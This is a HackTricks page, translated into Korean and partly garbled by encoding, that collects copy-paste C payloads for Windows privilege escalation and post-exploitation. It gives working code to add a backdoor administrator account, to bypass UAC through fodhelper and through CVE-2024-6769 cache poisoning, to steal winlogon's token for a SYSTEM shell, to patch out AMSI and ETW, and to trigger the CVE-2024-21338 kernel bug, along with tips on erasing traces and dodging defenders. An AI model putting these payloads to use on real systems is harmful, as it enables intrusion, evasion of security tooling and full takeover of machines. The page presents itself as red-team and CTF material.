Windows C Payloads

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ํŽ˜์ด์ง€๋Š” Windows Local Privilege Escalation ๋˜๋Š” post-exploitation ์ƒํ™ฉ์—์„œ ์œ ์šฉํ•œ ์ž‘๊ณ  ๋…๋ฆฝ์ ์ธ C ์Šค๋‹ˆํŽซ๋“ค์„ ๋ชจ์•„๋‘ก๋‹ˆ๋‹ค. ๊ฐ payload๋Š” ๋ณต์‚ฌ-๋ถ™์—ฌ๋„ฃ๊ธฐ ์นœํ™”์ ์œผ๋กœ ์„ค๊ณ„๋˜์—ˆ์œผ๋ฉฐ Windows API / C runtime๋งŒ ํ•„์š”ํ•˜๊ณ  i686-w64-mingw32-gcc (x86) ๋˜๋Š” x86_64-w64-mingw32-gcc (x64)๋กœ ์ปดํŒŒ์ผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

โš ๏ธ ์ด payload๋“ค์€ ํ•ด๋‹น ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ์ตœ์†Œ ๊ถŒํ•œ(์˜ˆ: SeDebugPrivilege, SeImpersonatePrivilege, ๋˜๋Š” UAC bypass๋ฅผ ์œ„ํ•œ medium-integrity ์ปจํ…์ŠคํŠธ)์„ ์ด๋ฏธ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ๋‹ˆ๋‹ค. ์ด๋“ค์€ ์ทจ์•ฝ์  ์•…์šฉ์œผ๋กœ arbitrary native code execution์ด ํ™•๋ณด๋œ red-team ๋˜๋Š” CTF ํ™˜๊ฒฝ์„ ์œ„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค.


๋กœ์ปฌ ๊ด€๋ฆฌ์ž ์‚ฌ์šฉ์ž ์ถ”๊ฐ€

// i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c
#include <stdlib.h>
int main(void) {
system("net user hacker Hacker123! /add");
system("net localgroup administrators hacker /add");
return 0;
}

UAC Bypass โ€“ fodhelper.exe Registry Hijack (Medium โ†’ High integrity)

์‹ ๋ขฐ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ **fodhelper.exe**๊ฐ€ ์‹คํ–‰๋˜๋ฉด, ์•„๋ž˜ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๊ฒฝ๋กœ๋ฅผ ์ฟผ๋ฆฌํ•˜๋ฉฐ DelegateExecute ๋™์‚ฌ๋ฅผ ํ•„ํ„ฐ๋งํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ํ‚ค ์•„๋ž˜์— ๋ช…๋ น์„ ์‹ฌ์–ด๋‘๋ฉด ๊ณต๊ฒฉ์ž๋Š” ํŒŒ์ผ์„ ๋””์Šคํฌ์— ๊ธฐ๋กํ•˜์ง€ ์•Š๊ณ ๋„ UAC๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

fodhelper.exe๊ฐ€ ์ฟผ๋ฆฌํ•˜๋Š” ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๊ฒฝ๋กœ

HKCU\Software\Classes\ms-settings\Shell\Open\command

๊ถŒํ•œ ์ƒ์Šน๋œ cmd.exe๋ฅผ ๋„์šฐ๋Š” ์ตœ์†Œ PoC:

// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(void) {
HKEY hKey;
const char *payload = "C:\\Windows\\System32\\cmd.exe"; // change to arbitrary command

// 1. Create the vulnerable registry key
if (RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\ms-settings\\Shell\\Open\\command", 0, NULL, 0,
KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {

// 2. Set default value => our payload
RegSetValueExA(hKey, NULL, 0, REG_SZ,
(const BYTE*)payload, (DWORD)strlen(payload) + 1);

// 3. Empty "DelegateExecute" value = trigger (")
RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ,
(const BYTE*)"", 1);

RegCloseKey(hKey);

// 4. Launch auto-elevated binary
system("fodhelper.exe");
}
return 0;
}

Windows 10 22H2 ๋ฐ Windows 11 23H2(2025๋…„ 7์›” ํŒจ์น˜)์—์„œ ํ…Œ์ŠคํŠธํ–ˆ์Šต๋‹ˆ๋‹ค. ์šฐํšŒ๊ฐ€ ์—ฌ์ „ํžˆ ์ž‘๋™ํ•˜๋Š” ์ด์œ ๋Š” Microsoft๊ฐ€ DelegateExecute ๊ฒฝ๋กœ์˜ ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์‚ฌ ๋ˆ„๋ฝ์„ ์ˆ˜์ •ํ•˜์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.


UAC Bypass โ€“ Activation Context Cache Poisoning (ctfmon.exe, CVE-2024-6769)

Drive remapping + activation context cache poisoning์€ ctfmon.exe๊ฐ€ ๋†’์€ ๋ฌด๊ฒฐ์„ฑ์˜ ์‹ ๋ขฐ๋œ UI ํ”„๋กœ์„ธ์Šค๋กœ ์‹คํ–‰๋˜์–ด ํ˜ธ์ถœ์ž์˜ ๊ฐ€์žฅ๋œ C: ๋“œ๋ผ์ด๋ธŒ์—์„œ ๊ธฐ๊บผ์ด ๋กœ๋“œํ•˜๊ณ  CSRSS๊ฐ€ ์บ์‹œํ•œ DLL ๋ฆฌ๋””๋ ‰์…˜์„ ์žฌ์‚ฌ์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์— ํŒจ์น˜๋œ Windows 10/11 ๋นŒ๋“œ์—์„œ๋„ ์—ฌ์ „ํžˆ ํšจ๊ณผ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์•…์šฉ ํ๋ฆ„์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: C:๋ฅผ ๊ณต๊ฒฉ์ž ์ œ์–ด ์Šคํ† ๋ฆฌ์ง€๋กœ ์žฌ์ง€์ •ํ•˜๊ณ  ํŠธ๋กœ์ดํ™”๋œ msctf.dll์„ ๋ฐฐ์น˜ํ•œ ๋’ค ctfmon.exe๋ฅผ ์‹คํ–‰ํ•ด ๋†’์€ ๋ฌด๊ฒฐ์„ฑ์„ ์–ป๊ณ , CSRSS์— auto-elevated ๋ฐ”์ด๋„ˆ๋ฆฌ(์˜ˆ: fodhelper.exe)์—์„œ ์‚ฌ์šฉํ•˜๋Š” DLL์„ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋„๋ก ๋งค๋‹ˆํŽ˜์ŠคํŠธ๋ฅผ ์บ์‹ฑํ•˜๊ฒŒ ์š”์ฒญํ•˜๋ฉด ๋‹ค์Œ ์‹คํ–‰ ์‹œ UAC ํ”„๋กฌํ”„ํŠธ ์—†์ด ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์ƒ์†๋ฉ๋‹ˆ๋‹ค.

์‹ค์ œ ์›Œํฌํ”Œ๋กœ:

  1. ๊ฐ€์งœ %SystemRoot%\System32 ํŠธ๋ฆฌ๋ฅผ ์ค€๋น„ํ•˜๊ณ  ํƒˆ์ทจํ•˜๋ ค๋Š” ์ •ํ’ˆ ๋ฐ”์ด๋„ˆ๋ฆฌ(๋Œ€๊ฐœ ctfmon.exe)๋ฅผ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค.
  2. DefineDosDevice(DDD_RAW_TARGET_PATH)๋ฅผ ์‚ฌ์šฉํ•ด ํ”„๋กœ์„ธ์Šค ๋‚ด์—์„œ C:๋ฅผ ์žฌ๋งคํ•‘ํ•˜๊ณ , ๋ณ€๊ฒฝ์ด ๋กœ์ปฌ์—๋งŒ ์ ์šฉ๋˜๋„๋ก DDD_NO_BROADCAST_SYSTEM์„ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค.
  3. ๊ฐ€์งœ ํŠธ๋ฆฌ์— DLL๊ณผ ๋งค๋‹ˆํŽ˜์ŠคํŠธ๋ฅผ ๋ฐฐ์น˜ํ•˜๊ณ  CreateActCtx/ActivateActCtx๋ฅผ ํ˜ธ์ถœํ•ด ๋งค๋‹ˆํŽ˜์ŠคํŠธ๋ฅผ activation-context ์บ์‹œ์— ํ‘ธ์‹œํ•œ ๋‹ค์Œ, auto-elevated ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ๋ฆฌ๋””๋ ‰์…˜๋œ DLL์ด ๋ฐ”๋กœ ๋‹น์‹ ์˜ ์‰˜์ฝ”๋“œ๋กœ ๋กœ๋“œ๋˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  4. ์ž‘์—…์ด ๋๋‚˜๋ฉด ์บ์‹œ ํ•ญ๋ชฉ(sxstrace ClearCache)์„ ์‚ญ์ œํ•˜๊ฑฐ๋‚˜ ์žฌ๋ถ€ํŒ…ํ•˜์—ฌ ๊ณต๊ฒฉ์ž ํ”์ ์„ ์ง€์›๋‹ˆ๋‹ค.
C - ๊ฐ€์งœ ๋“œ๋ผ์ด๋ธŒ + ๋งค๋‹ˆํŽ˜์ŠคํŠธ ์˜ค์—ผ ๋„์šฐ๋ฏธ (CVE-2024-6769) ```c #define WIN32_LEAN_AND_MEAN #include #include #pragma comment(lib, "shlwapi.lib")

BOOL WriteWideFile(const wchar_t *path, const wchar_t *data) { HANDLE h = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (h == INVALID_HANDLE_VALUE) return FALSE; DWORD bytes = (DWORD)(wcslen(data) * sizeof(wchar_t)); BOOL ok = WriteFile(h, data, bytes, &bytes, NULL); CloseHandle(h); return ok; }

int wmain(void) { const wchar_t *stage = Lโ€œC:\Users\Public\fakeC\Windows\System32โ€œ; SHCreateDirectoryExW(NULL, stage, NULL); CopyFileW(Lโ€œC:\Windows\System32\ctfmon.exeโ€œ, Lโ€œC:\Users\Public\fakeC\Windows\System32\ctfmon.exeโ€œ, FALSE); CopyFileW(Lโ€œ.\msctf.dllโ€œ, Lโ€œC:\Users\Public\fakeC\Windows\System32\msctf.dllโ€œ, FALSE);

DefineDosDeviceW(DDD_RAW_TARGET_PATH | DDD_NO_BROADCAST_SYSTEM, Lโ€œC:โ€œ, Lโ€\??\C:\Users\Public\fakeCโ€œ);

const wchar_t manifest[] = Lโ€œโ€œ Lโ€œโ€œ Lโ€œ โ€œ Lโ€œ <assemblyIdentity name=โ€˜Microsoft.Windows.Common-Controlsโ€™ version=โ€˜6.0.0.0โ€™โ€œ Lโ€œ processorArchitecture=โ€˜amd64โ€™ publicKeyToken=โ€˜6595b64144ccf1dfโ€™ language=โ€˜*โ€™ />โ€œ Lโ€œ โ€œ Lโ€œ โ€œ; WriteWideFile(Lโ€œC:\Users\Public\fakeC\payload.manifestโ€, manifest);

ACTCTXW act = { sizeof(act) }; act.lpSource = Lโ€œC:\Users\Public\fakeC\payload.manifestโ€œ; ULONG_PTR cookie = 0; HANDLE ctx = CreateActCtxW(&act); ActivateActCtx(ctx, &cookie);

STARTUPINFOW si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; CreateProcessW(Lโ€œC:\Windows\System32\ctfmon.exeโ€œ, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

WaitForSingleObject(pi.hProcess, 2000); DefineDosDeviceW(DDD_REMOVE_DEFINITION, Lโ€œC:โ€œ, Lโ€\??\C:\Users\Public\fakeCโ€œ); return 0; }

</details>

์ •๋ฆฌ ํŒ: SYSTEM ๊ถŒํ•œ์„ ์–ป์€ ํ›„ ํ…Œ์ŠคํŠธํ•  ๋•Œ `sxstrace Trace -logfile %TEMP%\sxstrace.etl`๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ์ด์–ด์„œ `sxstrace Parse`๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š” โ€” ๋กœ๊ทธ์—์„œ ๋งค๋‹ˆํŽ˜์ŠคํŠธ ์ด๋ฆ„์ด ๋ณด์ด๋ฉด ๋ฐฉ์–ด์ž๋„ ๋ณผ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ๋งค๋ฒˆ ๊ฒฝ๋กœ๋ฅผ ๊ต์ฒดํ•˜์„ธ์š”.

---

## ํ† ํฐ ๋ณต์ œ๋ฅผ ํ†ตํ•ด SYSTEM ์…ธ ์ƒ์„ฑ (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค๊ฐ€ **๋‘˜ ๋‹ค** `SeDebug` ๋ฐ `SeImpersonate` ๊ถŒํ•œ์„ ๋ณด์œ ํ•˜๊ณ  ์žˆ๋‹ค๋ฉด(๋งŽ์€ ์„œ๋น„์Šค ๊ณ„์ •์—์„œ ํ”ํ•จ), `winlogon.exe`์—์„œ ํ† ํฐ์„ ํ›”์ณ ๋ณต์ œํ•œ ๋’ค ๊ถŒํ•œ ์ƒ์Šน๋œ ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
```c
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

DWORD FindPid(const wchar_t *name) {
PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
if (!Process32FirstW(snap, &pe)) return 0;
do {
if (!_wcsicmp(pe.szExeFile, name)) {
DWORD pid = pe.th32ProcessID;
CloseHandle(snap);
return pid;
}
} while (Process32NextW(snap, &pe));
CloseHandle(snap);
return 0;
}

int wmain(void) {
DWORD pid = FindPid(L"winlogon.exe");
if (!pid) return 1;

HANDLE hProc   = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
HANDLE hToken  = NULL, dupToken = NULL;

if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken) &&
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupToken)) {

STARTUPINFOW si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
if (hProc) CloseHandle(hProc);
if (hToken) CloseHandle(hToken);
if (dupToken) CloseHandle(dupToken);
return 0;
}

์ž‘๋™ ๋ฐฉ์‹์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์„ค๋ช…์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”:

SeDebug + SeImpersonate copy token


In-Memory AMSI & ETW Patch (Defence Evasion)

๋Œ€๋ถ€๋ถ„์˜ ์ตœ์‹  AV/EDR ์—”์ง„์€ ์•…์„ฑ ๋™์ž‘์„ ๊ฒ€์‚ฌํ•˜๊ธฐ ์œ„ํ•ด AMSI ๋ฐ ETW์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค. ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค ๋‚ด๋ถ€์—์„œ ๋‘ ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ์กฐ๊ธฐ์— ํŒจ์น˜ํ•˜๋ฉด ์Šคํฌ๋ฆฝํŠธ ๊ธฐ๋ฐ˜ payloads(์˜ˆ: PowerShell, JScript)๊ฐ€ ์Šค์บ”๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

// gcc -o patch_amsi.exe patch_amsi.c -lntdll
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>

void Patch(BYTE *address) {
DWORD oldProt;
// mov eax, 0x80070057 ; ret  (AMSI_RESULT_E_INVALIDARG)
BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
VirtualProtect(address, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt);
memcpy(address, patch, sizeof(patch));
VirtualProtect(address, sizeof(patch), oldProt, &oldProt);
}

int main(void) {
HMODULE amsi  = LoadLibraryA("amsi.dll");
HMODULE ntdll = GetModuleHandleA("ntdll.dll");

if (amsi)  Patch((BYTE*)GetProcAddress(amsi,  "AmsiScanBuffer"));
if (ntdll) Patch((BYTE*)GetProcAddress(ntdll, "EtwEventWrite"));

MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
return 0;
}

์œ„์˜ ํŒจ์น˜๋Š” ํ”„๋กœ์„ธ์Šค ๋กœ์ปฌ์ž…๋‹ˆ๋‹ค; ์ด๋ฅผ ์‹คํ–‰ํ•œ ํ›„ ์ƒˆ๋กœ์šด PowerShell์„ ์ƒ์„ฑํ•˜๋ฉด AMSI/ETW ๊ฒ€์‚ฌ๋ฅผ ๊ฑฐ์น˜์ง€ ์•Š๊ณ  ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.


์ž์‹ ํ”„๋กœ์„ธ์Šค๋ฅผ Protected Process Light (PPL)๋กœ ์ƒ์„ฑ

์ƒ์„ฑ ์‹œ์ ์— ์ž์‹์— ๋Œ€ํ•ด PPL ๋ณดํ˜ธ ์ˆ˜์ค€์„ STARTUPINFOEX + PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL๋ฅผ ์‚ฌ์šฉํ•ด ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ฌธ์„œํ™”๋œ API์ด๋ฉฐ, ๋Œ€์ƒ ์ด๋ฏธ์ง€๊ฐ€ ์š”์ฒญ๋œ ์„œ๋ช…์ž ํด๋ž˜์Šค(Windows/WindowsLight/Antimalware/LSA/WinTcb)์— ๋Œ€ํ•ด ์„œ๋ช…๋˜์–ด ์žˆ์–ด์•ผ๋งŒ ์„ฑ๊ณตํ•ฉ๋‹ˆ๋‹ค.

// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
#include <windows.h>

int wmain(void) {
STARTUPINFOEXW si = {0};
PROCESS_INFORMATION pi = {0};
si.StartupInfo.cb = sizeof(si);

SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);

DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&lvl, sizeof(lvl), NULL, NULL);

if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
return 1;
}
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}

๊ฐ€์žฅ ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋˜๋Š” ๋ ˆ๋ฒจ:

  • PROTECTION_LEVEL_WINDOWS_LIGHT (2)
  • PROTECTION_LEVEL_ANTIMALWARE_LIGHT (3)
  • PROTECTION_LEVEL_LSA_LIGHT (4)

Process Explorer/Process Hacker์—์„œ Protection ์—ด์„ ํ™•์ธํ•˜์—ฌ ๊ฒฐ๊ณผ๋ฅผ ๊ฒ€์ฆํ•˜์„ธ์š”.


Local Service -> Kernel via appid.sys Smart-Hash (IOCTL 0x22A018, CVE-2024-21338)

appid.sys๋Š” ๋””๋ฐ”์ด์Šค ๊ฐ์ฒด(\\.\\AppID)๋ฅผ ๋…ธ์ถœํ•˜๋ฉฐ, ํ•ด๋‹น smart-hash ์œ ์ง€๋ณด์ˆ˜ IOCTL์€ ํ˜ธ์ถœ์ž๊ฐ€ LOCAL SERVICE๋กœ ์‹คํ–‰๋  ๋•Œ ์‚ฌ์šฉ์ž ์ œ๊ณต ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค; Lazarus๋Š” ์ด๋ฅผ ์•…์šฉํ•ด PPL์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ณ  ์ž„์˜ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ red team์€ ๋žฉ ํ™˜๊ฒฝ์—์„œ ์‚ฌ์šฉํ•  ์ค€๋น„๋œ ํŠธ๋ฆฌ๊ฑฐ๋ฅผ ๊ฐ–์ถ”์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์šด์˜ ๋…ธํŠธ:

  • ์—ฌ์ „ํžˆ LOCAL SERVICE ํ† ํฐ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. SeImpersonatePrivilege๋ฅผ ์‚ฌ์šฉํ•ด Schedule์ด๋‚˜ WdiServiceHost์—์„œ ํ† ํฐ์„ ํ›”์นœ ๋’ค, ์žฅ์น˜์— ์ ‘๊ทผํ•˜๊ธฐ ์ „์— ๊ถŒํ•œ ๋Œ€๋ฆฌ(impersonate)ํ•˜์—ฌ ACL ๊ฒ€์‚ฌ๊ฐ€ ํ†ต๊ณผ๋˜๊ฒŒ ํ•˜์„ธ์š”.
  • IOCTL 0x22A018๋Š” ๋‘ ๊ฐœ์˜ ์ฝœ๋ฐฑ ํฌ์ธํ„ฐ(๊ธธ์ด ์กฐํšŒ + ์ฝ๊ธฐ ํ•จ์ˆ˜)๋ฅผ ํฌํ•จํ•˜๋Š” ๊ตฌ์กฐ์ฒด๋ฅผ ๊ธฐ๋Œ€ํ•ฉ๋‹ˆ๋‹ค. ๋‘˜ ๋‹ค ํ† ํฐ ๋ฎ์–ด์“ฐ๊ธฐ๋‚˜ ring-0 primitives๋ฅผ ๋งคํ•‘ํ•˜๋Š” user-mode ์Šคํ…์„ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ํ•˜๋˜, ๋ฒ„ํผ๋Š” RWX๋กœ ์œ ์ง€ํ•˜์—ฌ KernelPatchGuard๊ฐ€ ์ฒด์ธ ์ค‘๊ฐ„์— ํฌ๋ž˜์‹œ๋˜์ง€ ์•Š๋„๋ก ํ•˜์„ธ์š”.
  • ์„ฑ๊ณต ํ›„์—๋Š” ๊ถŒํ•œ ๋Œ€๋ฆฌ๋ฅผ ์ข…๋ฃŒํ•˜๊ณ  ๋””๋ฐ”์ด์Šค ํ•ธ๋“ค์„ ๋ณต์›ํ•˜์„ธ์š”; ๋ฐฉ์–ด์ž๋Š” ์˜ˆ์ƒ์น˜ ๋ชปํ•œ Device\\AppID ํ•ธ๋“ค์„ ์ฐพ๊ธฐ ๋•Œ๋ฌธ์— ๊ถŒํ•œ์„ ํš๋“ํ•œ ์ฆ‰์‹œ ๋‹ซ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.
C - `appid.sys` smart-hash abuse๋ฅผ ์œ„ํ•œ ์Šค์ผˆ๋ ˆํ†ค ํŠธ๋ฆฌ๊ฑฐ ```c #define WIN32_LEAN_AND_MEAN #include #include

typedef struct _APPID_SMART_HASH { ULONGLONG UnknownCtx[4]; PVOID QuerySize; // called first PVOID ReadBuffer; // called with size returned above BYTE Reserved[0x40]; } APPID_SMART_HASH;

DWORD WINAPI KernelThunk(PVOID ctx) { // map SYSTEM shellcode, steal token, etc. return 0; }

int wmain(void) { HANDLE hDev = CreateFileW(Lโ€œ\\.\AppIDโ€œ, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (hDev == INVALID_HANDLE_VALUE) { printf(โ€œ[-] CreateFileW failed: %lu\nโ€, GetLastError()); return 1; }

APPID_SMART_HASH in = {0}; in.QuerySize = KernelThunk; in.ReadBuffer = KernelThunk;

DWORD bytes = 0; if (!DeviceIoControl(hDev, 0x22A018, &in, sizeof(in), NULL, 0, &bytes, NULL)) { printf(โ€œ[-] DeviceIoControl failed: %lu\nโ€, GetLastError()); } CloseHandle(hDev); return 0; }

</details>

๋ฌด๊ธฐํ™”๋œ ๋นŒ๋“œ์˜ ์ตœ์†Œ ์ˆ˜์ •: `VirtualAlloc`์œผ๋กœ RWX ์„น์…˜์„ ๋งคํ•‘ํ•˜๊ณ , ๊ฑฐ๊ธฐ์— token duplication stub์„ ๋ณต์‚ฌํ•œ ๋‹ค์Œ `KernelThunk = section`์œผ๋กœ ์„ค์ •ํ•˜์„ธ์š”. `DeviceIoControl`์ด ๋ฐ˜ํ™˜๋˜๋ฉด PPL ํ•˜์—์„œ๋„ SYSTEM์ด ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

---

## ์ฐธ์กฐ
* Ron Bowes โ€“ โ€œFodhelper UAC Bypass Deep Diveโ€ (2024)
* SplinterCode โ€“ โ€œAMSI Bypass 2023: The Smallest Patch Is Still Enoughโ€ (BlackHat Asia 2023)
* CreateProcessAsPPL โ€“ ์ตœ์†Œ PPL ํ”„๋กœ์„ธ์Šค ๋Ÿฐ์ฒ˜: https://github.com/2x7EQ13/CreateProcessAsPPL
* Microsoft Docs โ€“ STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
* DarkReading โ€“ ["Novel Exploit Chain Enables Windows UAC Bypass"](https://www.darkreading.com/vulnerabilities-threats/windows-activation-context-cache-elevation) (2024)
* Avast Threat Labs โ€“ ["Lazarus Deploys New FudModule Rootkit"](https://decoded.avast.io/threatresearch/lazarus-deploys-new-fudmodule-rootkit/) (2024)

> [!TIP]
> AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง€์›ํ•˜๊ธฐ</summary>
>
> - [**๊ตฌ๋… ๊ณ„ํš**](https://github.com/sponsors/carlospolop) ํ™•์ธํ•˜๊ธฐ!
> - **๐Ÿ’ฌ [**๋””์Šค์ฝ”๋“œ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋˜๋Š” [**ํ…”๋ ˆ๊ทธ๋žจ ๊ทธ๋ฃน**](https://t.me/peass)์— ์ฐธ์—ฌํ•˜๊ฑฐ๋‚˜ **ํŠธ์œ„ํ„ฐ** ๐Ÿฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํŒ”๋กœ์šฐํ•˜์„ธ์š”.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นƒํ—ˆ๋ธŒ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— PR์„ ์ œ์ถœํ•˜์—ฌ ํ•ดํ‚น ํŠธ๋ฆญ์„ ๊ณต์œ ํ•˜์„ธ์š”.**
>
> </details>